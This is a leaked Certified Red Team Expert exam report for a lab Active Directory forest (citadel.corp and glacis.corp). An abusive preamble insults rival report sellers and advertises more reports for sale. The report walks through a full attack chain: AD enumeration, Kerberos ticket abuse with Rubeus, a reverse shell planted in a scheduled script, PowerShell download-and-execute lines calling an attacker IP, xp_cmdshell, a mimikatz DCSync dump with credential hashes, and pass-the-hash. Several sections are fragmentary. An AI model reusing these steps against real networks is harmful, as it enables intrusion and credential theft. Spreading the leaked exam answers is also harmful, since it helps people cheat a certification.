Maze - Runner#0964: If You Want To Buy The Reports For Cheap Price DM Me On Discord
Maze - Runner#0964: If You Want To Buy The Reports For Cheap Price DM Me On Discord
It's maze runner with another leak. This time I bring you the New CRTE Exam Report
(CITADEL.CORP and GLACIS.CORP).
Reason For Leak : The mf from exam market selling it for 400,500 vice versa. Especially the
guy Marble_cig11, I don't like this kinda cunt people. Listen Marble idiot, Don't drag any other
sellers into your sale, You can say you have the best report but doesn't mean you are the one
who has best in the world, You're just another piece of shit for me. If you do it again then
next leak will be your CRTO and PACES report and Your Fake Cobalt Strike, already got those
two waiting for leak.
CRTE - "I took 8 times CRTE exam to make this report ", "I have the real report, others just
reselling mine", "Me and other shit guy are real, rest of the sellers are scammers." and
finally "I used POM as a MM blah blah"
CRTO - "You need to complile CS binary in VS to evade AV", "Daily having Exams", "blah
blah"
Finally these are the ultimate I own Everything.., If you give me positive rep I'll give you 30
rep.
This guy lies a lot, Don't know about cooling period in CRTE. Besides this Report is same as
the other guy in the market.
1. @leopard_00
2. @MrXmen
3. @samy_le
4. @whoami.01
5. @rangnarok
6. @Adispy
7. @omegade
maze_runner#0964
CRTE EXAM REPORT
Introduction
An Active Directory Security Assessment has been conducted on the given Active
Directory Environment assuming an attacker has already got an initial foothold in the
target environment as per the given scope. Social Engineering and DDOS testing
are out of scope for the penetration test. This document is confidential and only
higher authorities of the company are entitled to read this
Scope of Engagement
Machines Provided in the Examination Dashboard:
The above defines the machines given in the network. I already got an initial foothold
access in the given network through EXAMVM. I need to get command execution on
the all the machines present in the network .
Intended Audience
The document is prepared for Pentester Academy L.L.C as part of the Certified Red
Team Expert examination.
Executive Summary
Testing was performed in a controlled environment. I confirm I was successfully able
to achieve OS-Command on all the machines in the network.
AMSI Bypass :
Close Firewall :
Or in cmd :
Vulnerability report :
EXAMVM
Import .dll module , and .ps1 module as in the training material course.
Import-Module \ActiveDirectory\ActiveDirectory.psd1
1. User ServicePrincipalName
DistinguishedName : CN=krbtgt,CN=Users,DC=citadel,DC=corp
Enabled : False
GivenName :
Name : krbtgt
ObjectClass : user
ObjectGUID : 044cb80a-2a72-4a26-bde8-353d8b3a8df9
SamAccountName : krbtgt
ServicePrincipalName : {kadmin/changepw}
SID : S-1-5-21-253487801-221673152-1815095224-502
Surname :
UserPrincipalName :
2. Users
Get-ADUser -Filter *
DistinguishedName : CN=Administrator,CN=Users,DC=citadel,DC=corp
Enabled : True
GivenName :
Name : Administrator
ObjectClass : user
ObjectGUID : 6c2f09d7-72ba-4188-ac99-5f07525c069a
SamAccountName : Administrator
SID : S-1-5-21-253487801-221673152-1815095224-500
Surname :
UserPrincipalName :
DistinguishedName : CN=Guest,CN=Users,DC=citadel,DC=corp
Enabled : False
GivenName :
Name : Guest
ObjectClass : user
ObjectGUID : 26bb7559-371b-461d-936a-fcd25c4fad8b
SamAccountName : Guest
SID : S-1-5-21-253487801-221673152-1815095224-501
Surname :
UserPrincipalName :
DistinguishedName : CN=krbtgt,CN=Users,DC=citadel,DC=corp
DistinguishedName : CN=GLACIS$,CN=Users,DC=citadel,DC=corp
Enabled : True
GivenName :
Name : GLACIS$
ObjectClass : user
ObjectGUID : 2b70b2a3-5a9f-461d-830e-7d4906f3300c
SamAccountName : GLACIS$
SID : S-1-5-21-253487801-221673152-1815095224-1111
Surname :
UserPrincipalName :
DistinguishedName : CN=studentuser,CN=Users,DC=citadel,DC=corp
Enabled : True
GivenName : studentuser
Name : studentuser
ObjectClass : user
ObjectGUID : ec7c5a26-eb2c-4175-9917-216e1fbb1fbc
SamAccountName : studentuser
SID : S-1-5-21-253487801-221673152-1815095224-1113
Surname :
UserPrincipalName : [email protected]
3. Samaccountnames
Samaccountname Description
-------------- -----------
Administrator Built-in account for administering the computer/domain
Guest Built-in account for guest access to the computer/domain
krbtgt Key Distribution Center Service Account
sharemanager
sqlconnector
GLACIS$
studentuser
4. Computernames
Get-ADComputer -Filter *
DistinguishedName : CN=PAWSRV,CN=Computers,DC=citadel,DC=corp
DNSHostName : pawsrv.citadel.corp
Enabled : True
Name : PAWSRV
ObjectClass : computer
ObjectGUID : 6031ac79-7b02-4996-bf53-91de6c0c6066
SamAccountName : PAWSRV$
SID : S-1-5-21-253487801-221673152-1815095224-1104
UserPrincipalName :
DistinguishedName : CN=EXAMVM,CN=Computers,DC=citadel,DC=corp
DNSHostName : examvm.citadel.corp
Enabled : True
Name : EXAMVM
ObjectClass : computer
ObjectGUID : d14c6ca8-f1aa-42a7-b14d-11b4287a3347
SamAccountName : EXAMVM$
SID : S-1-5-21-253487801-221673152-1815095224-1105
UserPrincipalName :
DistinguishedName : CN=SRV71,OU=Servers,DC=citadel,DC=corp
DNSHostName : srv71.citadel.corp
Enabled : True
Name : SRV71
ObjectClass : computer
ObjectGUID : a0b9d4b8-e51b-4421-a6dd-19500a851987
SamAccountName : SRV71$
distinguishedName : CN=Administrator,CN=Users,DC=citadel,DC=corp
name : Administrator
objectClass : user
objectGUID : 6c2f09d7-72ba-4188-ac99-5f07525c069a
SamAccountName : Administrator
SID : S-1-5-21-253487801-221673152-1815095224-500
distinguishedName : CN=Administrator,CN=Users,DC=citadel,DC=corp
name : Administrator
objectClass : user
objectGUID : 6c2f09d7-72ba-4188-ac99-5f07525c069a
SamAccountName : Administrator
SID : S-1-5-21-253487801-221673152-1815095224-500
SourceName : citadel.corp
TargetName : glacis.corp
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection : Bidirectional
7. Trusts
Get-ADTrust -Filter *
Direction : BiDirectional
DisallowTransivity : False
DistinguishedName : CN=glacis.corp,CN=System,DC=citadel,DC=corp
ForestTransitive : True
IntraForest : False
IsTreeParent : False
IsTreeRoot : False
Name : glacis.corp
ObjectClass : trustedDomain
ObjectGUID : fd4a8a31-c6bb-4a27-97d8-2ff0d543055e
SelectiveAuthentication : False
SIDFilteringForestAware : False
8. Forests
Direction : BiDirectional
DisallowTransivity : False
DistinguishedName : CN=glacis.corp,CN=System,DC=citadel,DC=corp
ForestTransitive : True
IntraForest : False
IsTreeParent : False
IsTreeRoot : False
Name : glacis.corp
ObjectClass : trustedDomain
ObjectGUID : fd4a8a31-c6bb-4a27-97d8-2ff0d543055e
SelectiveAuthentication : False
SIDFilteringForestAware : False
SIDFilteringQuarantined : False
Source : DC=citadel,DC=corp
Target : glacis.corp
TGTDelegation : False
TrustAttributes : 8
TrustedPolicy :
TrustingPolicy :
TrustType : Uplevel
UplevelOnly : False
UsesAESKeys : False
UsesRC4Encryption : False
!!!! → I made sure that on my personal PC I have the latest version of neo4j and
bloodhound , cause the latest SharpHound.exe got updated couple of weeks ago.
NTLM → ad1b41d88cfd57b08f0fb50b1eee2541
GETTING IN SRV71
Having the NTLM hash of sharemanager let’s ask for a ticket to access SERV71 →
We will use Rubeus.exe here
klist
dir \\srv71.citadel.corp\ScheduledQueries
cd \\srv71.citadel.corp\ScheduledQueries
type Queries.ps1
# This PowerShell script runs every 5 minutes to check sqlsrv3 (192.168.37.3) status
Import-Module SqlServer
EXECUTE (
SELECT name AS [sqlsrv3DB],
DATABASEPROPERTY(name, N'Issqlsrv3') AS [sqlsrv3],
DATABASEPROPERTY(name, N'IsOffline') AS [Offline],
DATABASEPROPERTY(name, N'IsEmergencyMode') AS [Emergency],
has_dbaccess(name) AS [HasDBAccess]
FROM sysdatabases
I can attempt to add a reverse shell to this script to get a shell on SRV71 so I
changed it all with this (note : that is powershelltcp.ps1 reverse shell from Nishang,
where I added the last line with my ip and the port I want to get the reverse shell
back) .
iex((new-object system.net.webclient).downloadstring('http://192.168.100.1/powershell.
ps1'))
I disabled AMSI again (as sqlconnector), just to be sure, and load up PowerUpSQL
to enumerate further.
PowerUpSQL includes functions that support SQL Server discovery, weak
configuration auditing, privilege escalation on scale, and
iex((new-object system.net.webclient).downloadstring('http://192.168.100.1/PowerUpSQL.
ps1'))
With the last command I see that sqlconnector is sa (administrator) and we can do
more exploiting this .
Now with the XP_CMD Shell enabled, and being able to invoke commands (as nt
autrhority\system), for persistence I will add studentuser account to the local
administrators group.
SQLSRV3
Next I can create a scheduled task that will add dbmaster to the Administrators
group on GLACIS-DC
PAWSRV
Dumping hashes did not find anything of value but we do see that the pawsrv has
DCSYNC Rights from our Bloodhound enumerations but will need to add our
studentuser account to the local admin group on PAWSRV in order to attack this.
CITADEL-DC
Using the winrm shell I disable all the security first using the AMSI code , and the
rest stated at the start of the report .
I can now use SafetyKatz to perform a DCSYNC attack. I winrs to PAWSRV and
dump all hashes.
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM
580 {0;000003e7} 1 D 13985 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary
-> Impersonated !
* Process Token : {0;001b61bc} 0 D 1917043 CITADEL\studentuser S-1-5-21-253487801-2216
73152-1815095224-1113 (11g,24p) Prim
* Thread Token : {0;000003e7} 1 D 1932307 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Imper
sonation (Delegation)
mimikatz(commandline) # lsadump::dcsync /user:CITADEL\Administrator
[DC] 'citadel.corp' will be the domain
[DC] 'citadel-dc.citadel.corp' will be the DC server
[DC] 'CITADEL\Administrator' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : Administrator
** SAM ACCOUNT **
SAM Username : Administrator
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration :
Password last change : 9/24/2022 9:19:12 AM
Object Security ID : S-1-5-21-253487801-221673152-1815095224-500
Object Relative ID : 500
Credentials:
Hash NTLM: 2e52650081016fcefc5c2100ddf1566c
ntlm- 0: 2e52650081016fcefc5c2100ddf1566c
ntlm- 1: bcecf7d2efeb76139da904fb78158178
lm - 0: bebea018e95e9cbaab350c6e9f5a17e5
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 1fc33d58108520a64d25db5c4ad7d6e5
* Primary:Kerberos-Newer-Keys *
Default Salt : CITADEL.CORPAdministrator
Default Iterations : 4096
Credentials
aes256_hmac (4096) : f010371c54fa0ac5bb3fe2b37252641334ae3a7c21ecb2486f4f3eca8e22d176
aes128_hmac (4096) : a808ba766be3efb4d3c80d6de0fd7b5f
des_cbc_md5 (4096) : 6b52e33dbc948ccd
With that I can open a powershell on our EXAMVM and use SafetyKatz again to
pass the hash.
We are now Domain Admins and have full controll to do what ever we like such as a
Golden Ticket attack for persistence.